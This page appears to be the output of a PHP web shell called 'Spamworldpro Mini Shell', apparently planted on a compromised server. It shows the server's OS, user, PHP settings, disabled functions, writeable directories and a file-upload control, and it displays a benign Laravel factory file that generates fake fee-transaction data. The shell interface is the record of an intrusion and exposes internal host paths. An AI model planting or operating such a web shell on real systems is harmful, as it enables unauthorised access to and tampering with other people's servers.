Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/syn.corals.io/Corals/modules/Syndicate/database/factories/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/syn.corals.io/Corals/modules/Syndicate/database/factories/FeeTransationFactory.php
<?php

namespace Corals\Modules\Syndicate\database\factories;


use Corals\Modules\Syndicate\Models\FeeTransaction;
use Corals\Modules\Utility\Facades\ListOfValue\ListOfValues;
use Illuminate\Database\Eloquent\Factories\Factory;

class FeeTransationFactory extends Factory
{
    /**
     * The name of the factory's corresponding model.
     *
     * @var string
     */
    protected $model = FeeTransaction::class;

    /**
     * Define the model's default state.
     *
     * @return array
     */
    public function definition()
    {
        $paymentMethod = $this->faker->randomKey(ListOfValues::get('Syndicate::payment_method', false, 'active', true));

        $data = [
            'amount' => $this->faker->randomFloat(1, 1, 20000),
            'details' => $this->faker->text(200),
            'payment_method' => $paymentMethod,
            'currency_code' => $this->faker->randomKey(ListOfValues::get('Syndicate::currency', false, 'active',
                true)),
            'receipt_date' => $this->faker->date(),
            'receipt_no' => $this->faker->numerify('##########'),
        ];

        if ($paymentMethod == 'Syndicate::payment_method.transfer') {
            $data = array_merge($data, [
                'transfer_no' => $this->faker->randomFloat(1, 1, 2033000),
                'transfer_date' => $this->faker->date(),
                'receipt_date' => $this->faker->date(),
                'receipt_no' => $this->faker->numerify('##########'),
            ]);
        } elseif ($paymentMethod == 'Syndicate::payment_method.cheque') {
            $data = array_merge($data, [
                'cheque_no' => $this->faker->randomFloat(1, 1, 2033000),
                'cheque_date' => $this->faker->date(),
                'cheque_amount' => $this->faker->randomFloat(1, 1, 20000),
                'cheque_currency' => $this->faker->randomKey(ListOfValues::get('Syndicate::currency', false,
                    'active', true)),
            ]);
        }

        return $data;
    }
}

Spamworldpro Mini